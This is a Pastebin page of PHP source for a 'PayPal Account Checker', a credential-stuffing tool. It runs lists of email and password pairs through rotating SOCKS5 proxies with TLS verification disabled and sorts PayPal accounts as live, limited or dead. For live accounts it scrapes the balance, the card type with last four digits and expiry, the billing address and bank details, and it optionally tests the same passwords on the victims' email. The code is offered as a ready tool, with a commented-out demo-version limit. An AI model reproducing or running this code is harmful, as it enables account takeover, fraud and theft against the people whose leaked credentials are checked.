MLT

PHP - PayPal Account Checker

MLT
Nov 10th, 2013
1,011
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 46.82 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5. session_save_path('cookie');
  6. ini_set('session.gc_probability', 1);
  7. $cookiejar = 'cookie/st'.rand(10000000000,99999999999).'123.txt';
  8. $cookiejar1 = 'cookie/st'.rand(10000000000,99999999999).'1234.txt';
  9. @fclose(fopen($cookiejar,'w'));
  10. @fclose(fopen($cookiejar1,'w'));
  11. global $cookiejar;
  12. global $cookiejar1;
  13.  
  14.  
  15. require_once('unf.class.php');
  16. ?>
  17. <html><head>
  18. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  19. <title>-=[ Paypal Checker ]=-</title>
  20. <script type="text/javascript">
  21. function timsock(){
  22.     var sockslist = window.document.frmMain.s.value;
  23.     var unf = sockslist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
  24.     if(unf){
  25.         var list="";
  26.         for(var i=0;i<unf.length;i++){
  27.             if(unf[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
  28.                 unf[i]=unf[i].replace(/(\s)+/,':');
  29.             }
  30.             list=list+unf[i]+"\n";
  31.         }
  32.         window.document.frmMain.s.value=list;
  33.     }
  34.     else{
  35.         window.document.frmMain.s.value="Error";
  36.         window.location = "#";
  37.     }
  38. }
  39. </script>
  40. <link rel="stylesheet" type="text/css" href="../../../css/default1.css">
  41. </head>
  42. <body>
  43. <center>
  44. <form name="frmMain" id="frmMain" method="post" action="">
  45.     <div style="width:100%">
  46.         <div style="width:90%">
  47.  
  48.             <div id="mp" style="width:50%;float:left">
  49.                 <b>List Mail & Password:</b>
  50.             </div>
  51.             <div id="mp" style="width:50%;float:left">
  52.                 <b>List Socks5</b><br />
  53.                 (Auto Check Blacklist, Just Add List Socks 5 But Recommend Socks Fresh/Private):
  54.             </div>
  55.             <div id="mp" style="clear:both;width:50%;float:left">
  56.                 <textarea rows="10" style="width:100%" name="mp" value=""><?php echo $_POST['mp'];?></textarea>
  57.             </div>
  58.             <div id="s" style="width:50%;float:left">
  59.                 <textarea rows="10" style="width:100%" name="s" value=""><?php echo $_POST['s'];?></textarea>
  60.             </div>
  61.         </div>
  62.         <div style="width:90%;clear:both">
  63.             <b>Delim : </b> <input type="text" name="split" size= 4 value="<?php if($_POST['split']){echo $_POST['split'];}else{ echo '|';}?>"/>
  64.             <b>Mail : </b> <input type="text" name="mail" size= 4 value="<?php if($_POST['mail']){echo $_POST['mail'];}else{echo '1';}?>" />
  65.             <b>Password : </b> <input type="text" name="pass" size= 4 value="<?php if($_POST['mail']){echo $_POST['pass'];}else{echo '2';}?>" />
  66.             <b>Timeout PP : </b> <select name="paypaltimeout" ><option value="10"  >10s</option><option value="9"  >9s</option><option value="8" selected >8s</option><option value="7"  >7s</option><option value="6"  >6s</option><option value="5"  >5s</option><option value="4"  >4s</option><option value="3"  >3s</option><option value="2"  >2s</option><option value="1"  >1s</option></select>
  67.             <br><input type=checkbox name=checkmail checked> Check Email <input type=checkbox name=getinfo checked> Get Card <input type=checkbox name=getbank checked> Get Bank<br>
  68.             <b>Change Sock if DIE : </b><input type="text" name="diechange" size= 4 value="<?php if($_POST['diechange']){echo $_POST['diechange'];}else{echo '10';}?>" /> <br><br>
  69.             <input type="submit" name="submit" value="      Submit !!!      " onClick="timsock();"/>
  70.         </div>
  71.         <br /><br /><br />
  72.    </div>
  73. </form>
  74. </center>
  75. </body>
  76. </html>
  77. <?php
  78. if(isset($_POST['mp']) && isset($_POST['s']) && isset($_POST['pass']) && isset($_POST['paypaltimeout']) && isset($_POST['diechange'])){
  79.     $slist = trim($_POST['s']);
  80.     $mlist = trim($_POST['mp']);
  81.     $pp_timeout = trim($_POST['paypaltimeout']);
  82.     $slist = str_replace(array("\\\"","\\'"),array("\"","'"),$slist);
  83.     $slist = str_replace("\n\n","\n",$slist);
  84.     $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);
  85.     $mlist = str_replace("\n\n","\n",$mlist);
  86.     $slist = explode("\n", $slist);
  87.     $mlist = explode("\n", $mlist);
  88.     $email = trim($_POST['mail']);
  89.     $splits = $_POST['split'];
  90.     $pass = trim($_POST['pass']);
  91.     $diechange= (int)$_POST['diechange'];
  92.     $tsdie = "";
  93.     $tslimit = "";
  94.     $tslive = "";
  95.     $tserror = "";
  96.     $sldie = 0;
  97.     $sllimit = 0;
  98.     $sllive = 0;
  99.     $slerror = 0;
  100.  
  101.     if(!$pass){
  102.                 die("<br />Please enter complete information.<br /><br />");
  103.     }
  104.        
  105.     $unfaceguymail = count($mlist);
  106.     $unfaceguysock=count($slist);
  107.     /*if($unfaceguymail > 25)
  108.     {
  109.         die("<br /><b>Demo Version - Check 25 mails / 1 turn <br />
  110.             Contact Y!M : vsb_unface for FULL VERSION !!!</b>
  111.             <br />");
  112.     }*/
  113.     $unf= new Paypal;
  114.     $j = 0;
  115.     $dem_sl = 0;
  116.     $maxs = 0;
  117.  
  118.     $unfaceguy=0;
  119.     $unfaceguycount=0;
  120.     $markz=$unfaceguymail-1;
  121.     for($i=0;$i<$unfaceguysock;$i++){
  122.  
  123.         $maxs = $maxs + 1;
  124.         $_sockcheckto = $slist[$i];
  125.         $_checkclear = $unf->CheckSock($slist[$i], $cookiejar, $pp_timeout);
  126.         if ($_checkclear == "2"){
  127.             echo " >>>>>USING $slist[$i]  <<<<< <br>";
  128.  
  129.             for($j=$unfaceguy;$j<100;$j++) 
  130.             {
  131.                 //$unfaceguycount++;
  132.  
  133.             $_mp = explode($splits, $mlist[$j]);
  134.             $_mail = trim($_mp[($email - 1)]);
  135.             $_pass = trim($_mp[($pass - 1)]);  
  136.             if(strlen($_pass)>7){
  137.                 $paypal = $unf->isLogin($_mail, $_pass, $slist[$i],$splits, $cookiejar);
  138.                 $STT = $j + 1;
  139.                 if($paypal == "SOCKTIME"){
  140.                     echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
  141.                     //$i++;
  142.                     break;
  143.                 }
  144.                 elseif($paypal == "SOCKBL"){
  145.                     echo $slist[$i]." <font color=red> <<< BlackList</font><br>";
  146.                     //$i++;
  147.                     break;
  148.                 }
  149.                 elseif($paypal == "LIMITED"){
  150.                     echo "$STT. <b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
  151.                     $tslimit .= "<b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
  152.                     $sllimit++;
  153.                     //$i++;
  154.                     $unfaceguy=$j+1;
  155.                     break;
  156.                 }
  157.                 elseif($paypal == "SECURITY"){
  158.                     echo "$STT. <b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
  159.                     $tslimit .= "<b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
  160.                     $sllimit++;
  161.                     //$i++;
  162.                     $unfaceguy=$j+1;
  163.                     break;                 
  164.                 }
  165.                 elseif($paypal == "UPDATE"){
  166.                     echo "$STT. <b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
  167.                     $tserror .= "<b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
  168.                     $slerror++;
  169.                     //$i++;
  170.                     $unfaceguy=$j+1;
  171.                     break;                 
  172.                 }
  173.                 elseif($paypal == "PASSWORD"){
  174.                     echo "$STT. <b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
  175.                     $tserror .= "<b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
  176.                     $slerror++;
  177.                     //$i++;
  178.                     $unfaceguy=$j+1;
  179.                     break;                 
  180.                 }
  181.                 elseif($paypal == "DIE"){
  182.                     echo "$STT. <b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  183.                     $tsdie .= "<b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  184.                     $dem_sl = $dem_sl + 1;
  185.                     if($dem_sl == $diechange){
  186.                         //$i = $i + 1;
  187.                         $dem_sl = 0;
  188.                         $unfaceguy=$j+1;
  189.                         break;
  190.                     }
  191.                     //$i++;
  192.                     //$unfaceguy=$j+1;
  193.                     $sldie++;
  194.                     //break;
  195.  
  196.                 }
  197.                 elseif($paypal == "ERROR"){
  198.                     echo "$STT. <b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  199.                     $tserror .= "<b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  200.                     $dem_sl = $dem_sl + 1;
  201.                     if($dem_sl == $diechange){
  202.                         //$i = $i + 1;
  203.                         $dem_sl = 0;
  204.                         $unfaceguy=$j+1;
  205.                         break;
  206.                     }
  207.                    
  208.                     $slerror++;
  209.                 }
  210.                 else{
  211.                     echo "$STT. <b><font color=green>Live |</b></font> $paypal";
  212.                     $tslive .= "<b><font color=green>Live |</b></font> $paypal";
  213.                     $sllive++;
  214.                     //$i++;
  215.                     $unfaceguy=$j+1;
  216.                     break; 
  217.                 }
  218.             }
  219.                 if($j==$markz)
  220.                 {
  221.                     $i=$i+10000;   
  222.                 }
  223.             }
  224.             //$j = $j + 1;
  225.  
  226.         }
  227.         elseif($_checkclear == "1"){
  228.             echo $slist[$i]." <font color=red> <<< Blacklist PayPal</font><br>";
  229.         }elseif($_checkclear == "3"){
  230.             echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
  231.         }
  232.         flush();
  233.         sleep(1);
  234.     }
  235.     if($maxs > count($slist)){
  236.         echo "<font color=aqua><b>Over Sock !!!</b></font>";
  237.     }else{
  238.         echo "<font color=aqua><b>Tool use to sock:".$_sockcheckto."</b></font>";
  239.     }
  240.     unlink($cookiejar);
  241.     $totalchecked = 0;
  242.     $totalchecked = $sllive + $sldie + $slerror + $sllimit;
  243.     echo "<hr>";
  244.     echo "<center><font size=5 color=aqua>Total : <font size=6 color=red>".count($mlist)."</font> | Total Checked : <font size=6 color=red>".$totalchecked."</font> | Live : <font color=red size=6>".$sllive."</font> | Limit : <font color=red size=6>".$sllimit."</font> | Die : <font color=red size=6>".$sldie."</font> | Error : <font color=red size=6>".$slerror."</font></font></center><hr>";
  245.     echo $tslive;
  246.     echo "<hr>";
  247.     echo $tslimit;
  248.     echo "<hr>";
  249.     echo $tsdie;
  250.     echo "<hr>";
  251.     echo $tserror;
  252.    
  253. }
  254. ?>
  255. -------------------------------------------------------------------------------------------------------
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265. MAIN Code  -
  266.  
  267.  
  268. -------------------------------------------------------------------------------------------------------
  269.  
  270.  
  271.  
  272. <?php
  273.  
  274. $cookie_checkmail = 'cookie/mail'.rand(10000000000,99999999999).'123.txt';
  275. fclose(fopen($cookie_checkmail,'w'));
  276. global $cookie_checkmail;
  277.  
  278.  
  279. class analytics_api {
  280.     public $auth;
  281.     public $accounts;
  282.     public function login($email, $password, $_sock) {     
  283.         $curl = $this->curl_init("https://www.google.com/accounts/ClientLogin");
  284.         curl_setopt($curl, CURLOPT_POST, true);
  285.        
  286.         $data = array(
  287.             'accountType' => 'GOOGLE',
  288.             'Email' => $email,
  289.             'Passwd' => $password,
  290.             'service' => 'analytics',
  291.             'source' => ''
  292.         );
  293.             if($_sock){
  294.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  295.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  296.             }
  297.         curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  298.         $output = curl_exec($curl);
  299.        
  300.         $info = curl_getinfo($curl);
  301.         curl_close($curl);
  302.        
  303.         $this->auth = '';
  304.         if($info['http_code'] == 200) {
  305.             preg_match('/Auth=(.*)/', $output, $matches);
  306.             if(isset($matches[1])) {
  307.                 $this->auth = $matches[1];
  308.             }
  309.         }
  310.        
  311.         return $this->auth != '';
  312.    
  313.     }
  314.     protected function curl_init($url) {       
  315.         $curl = curl_init();
  316.         curl_setopt($curl, CURLOPT_URL, $url);
  317.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  318.  
  319.         if($this->auth) {
  320.             curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: GoogleLogin auth=$this->auth"));
  321.         }
  322.     curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
  323.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  324.                 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  325.  
  326.         return $curl;
  327.        
  328.     }
  329.  
  330. }
  331.  
  332. class Paypal{
  333.    
  334.    
  335. function _curl($url,$post="",$usecookie = false) {  
  336.     $ch = curl_init();
  337.     if($post) {
  338.         curl_setopt($ch, CURLOPT_POST ,1);
  339.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  340.     }
  341.     curl_setopt($ch, CURLOPT_URL, $url);
  342.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  343.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6");
  344.     if ($usecookie) {
  345.         curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  346.         curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  347.     }
  348.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  349.     $result=curl_exec ($ch);
  350.     curl_close ($ch);
  351.     return $result;
  352. }
  353.  
  354. function curl_get($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
  355.     static $curl;
  356.     if(empty($curl)) {
  357.         $curl = curl_init();
  358.         curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar);
  359.         curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar);
  360.         curl_setopt($curl, CURLOPT_HEADER, false);
  361.         curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
  362.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  363.         curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
  364.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  365.         //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
  366.         //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
  367.         //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
  368.     }
  369.     if($headers){
  370.         curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  371.     }
  372.     if($timeout){
  373.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  374.         curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
  375.     }
  376.     if($_sock){
  377.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  378.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  379.     }
  380.     curl_setopt($curl, CURLOPT_URL, $url);
  381.     if(stripos($url, 'https')!==false) {
  382.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  383.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  384.     }
  385.     if ($postfields) {
  386.         curl_setopt($curl, CURLOPT_POST, 1);   
  387.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
  388.     }
  389.     if ($ref){  
  390.             curl_setopt($curl, CURLOPT_REFERER,$ref);
  391.     }
  392.     $response = curl_exec($curl);
  393.    
  394.     return $response;
  395.     //curl_close ($curl);
  396.     @unlink($cookiejar);
  397. }
  398.  
  399.  
  400. ########################################
  401. function curl_get1($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
  402.     //static $curl;
  403.     if(empty($curl)) {
  404.         $curl = curl_init();
  405.         curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar1);
  406.         curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar1);
  407.         curl_setopt($curl, CURLOPT_HEADER, false);
  408.         curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
  409.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  410.         curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
  411.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  412.         //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
  413.         //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
  414.         //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
  415.     }
  416.     if($headers){
  417.         curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  418.     }
  419.     if($timeout){
  420.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  421.         curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
  422.     }
  423.     if($_sock){
  424.             curl_setopt($curl, CURLOPT_PROXY, $_sock);
  425.             curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  426.     }
  427.     curl_setopt($curl, CURLOPT_URL, $url);
  428.     if(stripos($url, 'https')!==false) {
  429.         curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  430.         curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  431.     }
  432.     if ($postfields) {
  433.         curl_setopt($curl, CURLOPT_POST, 1);   
  434.         curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
  435.     }
  436.     if ($ref){  
  437.             curl_setopt($curl, CURLOPT_REFERER,$ref);
  438.     }
  439.     $response = curl_exec($curl);
  440.    
  441.     return $response;
  442.     //curl_close ($curl);
  443.     @unlink($cookiejar1);
  444. }
  445.  
  446.  
  447. #######################################
  448. // testing
  449. function getbetween($content,$start,$end){
  450.         $r = explode($start, $content);
  451.         if (isset($r[1])){
  452.             $r = explode($end, $r[1]);
  453.             if ($r[0] == '') return 'Unknown';
  454.             return $r[0];
  455.         }
  456.         return 'Unknown';
  457.     }
  458.  
  459.     function inStr($s,$as)
  460.     {
  461.         $s=strtoupper($s);
  462.         if(!is_array($as)) $as=array($as);
  463.         for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  464.         return false;
  465.     }
  466. ###############
  467. function CheckSock($sock,$cookie, $timeout){
  468.     //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  469.     $site="http://megaupload.com/?c=premium";
  470.     $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  471.     $s = $this->curl_get1($site1,false,$sock,false, $timeout );
  472.     $currentpage = $this->getbetween($s,'s.prop1="','";');
  473.     if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){
  474.         if((stristr($s,"Choose a PayPal Password")) || (stristr($s,"fieldrow password-create")) || (stristr($s,"Create PayPal Password")) || (preg_match('/Re-enter password/', $s))){
  475.             return "1";
  476.         }
  477.         else{
  478.             return "2";
  479.         }
  480.     }
  481.     else{
  482.         return "3";
  483.     }
  484. }
  485. function CheckSock3($sock,$cookie, $timeout,$cookiejar ){
  486.     //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  487.     $site="http://megaupload.com/?c=premium";
  488.     $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  489.     $s = $this->curl_get1($site1,false,$sock,site, $timeout,$cookiejar );
  490.         if(!$s) return 3;
  491.         elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:SignUp";')) return 1;
  492.         elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:Billing";')) return 2;
  493.         else return 3;
  494.    
  495. }
  496.  
  497. function CheckSock1($sock,$cookie, $timeout){
  498.     $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  499.     //$site="http://megaupload.com/?c=premium";
  500.     //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  501.     $s = $this->curl_get($site1,false,$sock,false, $timeout);
  502.     $currentpage = $this->getbetween($s,'s.prop1="','";');
  503.     if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){
  504.         if((preg_match("/Choose a PayPal Password/", $s)) || (preg_match("/fieldrow password-create/", $s))|| (preg_match("/Create PayPal Password/", $s))){
  505.             return "1";
  506.         }
  507.         else{
  508.             return "2";
  509.         }
  510.     }
  511.     else{
  512.         return "3";
  513.     }
  514. }
  515.  
  516.  
  517. function isLogin($email, $password, $sock,$split,$cookiejar) {
  518.     $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run";
  519.     $s = $this->curl_get($site, false, $sock, "http://www.paypal.com" );
  520.     $post = $this->getHiddenFormInputs($s, 'login_form');
  521.     if (!$post){
  522.         return "SOCKTIME";
  523.     }
  524.     $post['login_email'] = $email;
  525.     $post['login_password'] = $password;
  526.     $post = $this->serializePostFields($post);
  527.     $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit";
  528.     $s = $this->curl_get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit', $post, $sock, 'http://www.paypal.com');
  529.    
  530.     if($s){
  531.         if(preg_match("/Security Measures/", $s)){
  532.             return "SECURITY";
  533.         }
  534.         elseif(preg_match('/more than 5 seconds/', $s)){
  535.             $_abc = $this->getStr($s,'more than 5 seconds, <a href="', '">click here');
  536.             $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
  537.         }
  538.         elseif(preg_match("/Please create a new password for your account/", $s)){
  539.             return "PASSWORD";
  540.         }
  541.         elseif(preg_match("/Update account information/", $s)){
  542.             return "UPDATE";
  543.         }
  544.         else{
  545.             $_abc = "https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0";
  546.             $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
  547.         }
  548.     }
  549.     else{
  550.         return "SOCKTIME";
  551.     }
  552.  
  553.     if($s){
  554.         $FAIL = $this->getStr($s, 's.prop15="','"');
  555.         $NOW = $this->getStr($s,'s.prop1="','"');
  556.         $TYPE = $this->getStr($s,'s.prop7="','"');
  557.         $STATUS = $this->getStr($s,'s.prop8="','"');
  558.         $LIMIT = $this->getStr($s,'s.prop9="','"');
  559.         $BALANCE = $this->getStr($s,'<span class="balance">', '</span>');
  560.         $BALANCE = str_replace('<strong>',"",$BALANCE);
  561.         $BALANCE = str_replace('</strong>',"",$BALANCE);
  562.         $LASTLOGIN = $this->getStr($s,'<div class="small secondary">', '</div>');
  563.        
  564.         if($LIMIT == "Unrestricted"){
  565.             $LIMIT = "Unlimit";
  566.         }
  567.         else{
  568.             $LIMIT = "LIMITED";
  569.         }
  570.        
  571.         if(!stristr($TYPE, "Unknown") or !stristr($STATUS, "Unknown")){
  572.             if($LIMIT == "Unlimit"){
  573.                 $result = " $email | $password | <font color=\"yellow\"><b>$TYPE</b></font> | <font color=\"green\"><b>$STATUS</b></font> | <b>$BALANCE</b> | $LASTLOGIN ";
  574.                 if($_POST['checkmail'] == true){
  575.                     $mailchecked = $this->getmail($split, $email, $password, $sock);
  576.                     $result .= "| $mailchecked ";
  577.                 }
  578.                 //$result .= " |";
  579.                 if($_POST['getinfo']==true){
  580.                     $info = $this->GETINFO($sock,$cookiejar);
  581.                    
  582.                     //if($info == false){
  583.                     //  $info = "<font color=red>NOT CARD</font>";
  584.                     //}
  585.                     $result .= "| $info ";
  586.                 }
  587.                 if($_POST['getbank']==true){
  588.                     $info1 = $this->GETBANK($sock,$cookiejar);
  589.  
  590.                     $result .= "| <b>$info1</b> ";
  591.                 }
  592.                
  593.                 $result.="| $sock<br /> ";
  594.                 return $result;
  595.             }
  596.             else{
  597.                 return "LIMITED";
  598.             }
  599.         }
  600.         elseif(stristr($NOW, "wax_error")){
  601.             return "LIMITED";
  602.         }
  603.         elseif(stristr($NOW, "SecurityChallenge")){
  604.             return "SOCKBL";
  605.         }
  606.         elseif(stristr($NOW,"home") or stristr($NOW,"login")){
  607.             return "DIE";
  608.         }
  609.         elseif(stristr($FAIL, "login_email")){
  610.             return "ERROR";
  611.         }
  612.         else{
  613.             return "ERROR";
  614.         }  
  615.     }
  616.     else{
  617.         return "SOCKTIME";
  618.     }
  619. }
  620.  
  621. function GETINFO($sock,$cookiejar) {
  622.     $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
  623.     $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  624.     $checkcard = strpos($response, "Last 4 digits on card");
  625.     $checkcard1 = strpos($response, "Last four digits on card");
  626.     preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
  627.             if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
  628.             elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
  629.     //if((!$checkcard) && (!$checkcard1))
  630.     //{
  631.     //  return false;
  632.     //}else{
  633.         $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
  634.         $_type = $temp[0];
  635.         $temp = $this->getStr1($temp[1],'<td>','</td>');
  636.         $_4digit = $temp[0];
  637.         $temp = $this->getStr1($temp[1],'<td>','</td>');
  638.         $_exp = $temp[0];
  639.         //$infocard = "$_type $_4digit $_exp | ";
  640.         $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
  641.     }
  642.  
  643.     $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  644.     $response = $this->curl_get($site, false, $sock,"http://www.paypal.com");
  645.     $info = $this->getStr($response,'<span class="emphasis">','</span>');
  646.     $info = str_replace("<br>"," | ",$info);
  647.    
  648.     $info = $infocard.$info;
  649.    
  650.     //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
  651.     //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
  652.     //$mail = $this->getStr($s,'emailList-','"');
  653.    
  654.     /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
  655.     $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
  656.     $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');  
  657.    
  658.     $info = $info.$phone.' | '.$mail;*/
  659.     return $info;
  660. }
  661.     function infocard($info)
  662.     {
  663.         if($info)
  664.         {
  665.             preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
  666.             if($this->inStr($pageName[1][0], "F: Add CC")) return "<font color='red'>Not Card</font>";
  667.             elseif($this->inStr($pageName[1][0], "Profile"))
  668.             {
  669.                 preg_match_all('/<table class="basic fullTable">(.*?)<\/table>/is',$info,$card);
  670.                 preg_match_all('/<img src="(.*?)<dl>/is',$card[1][0],$sk);
  671.                 $pka = "<font color='yellow'>Have Card";
  672.                 foreach ($sk[0] as $sd1)
  673.                 {
  674.                     $sd1 = "<td>".$sd1;
  675.                     preg_match_all('/<td>(.*?)<\/td>/is',$sd1,$sk1);
  676.                     preg_match_all('/<img src="(.*?)" border="0" alt="(.*?)">/is',$sk1[1][0],$sd2);
  677.                     $pka  =  $pka." | ".trim($sd2[2][0])." - ".trim($sk1[1][1])." - ".trim($sk1[1][2]);
  678.                 }
  679.             $pka = $pka."</font>";
  680.             return $pka;
  681.             }
  682.         }
  683.         else
  684.         return "<font color='red'> CHECK CARD ERROR </font>";
  685.     }
  686.    
  687. ################
  688. /*function GETINFO($sock) {
  689.     $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
  690.     $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  691.     $checkcard = strpos($response, "Last 4 digits on card");
  692.     $checkcard1 = strpos($response, "Last four digits on card");
  693.     preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
  694.             if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
  695.             elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
  696.                
  697.    
  698.     /*$checkcard = strpos($response, "Last 4 digits on card");
  699.     $checkcard1 = strpos($response, "Last four digits on card");
  700.     if((!$checkcard) && (!$checkcard1))
  701.     {
  702.         return false;
  703.     }else{
  704.        
  705.         $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
  706.         $_type = $temp[0];
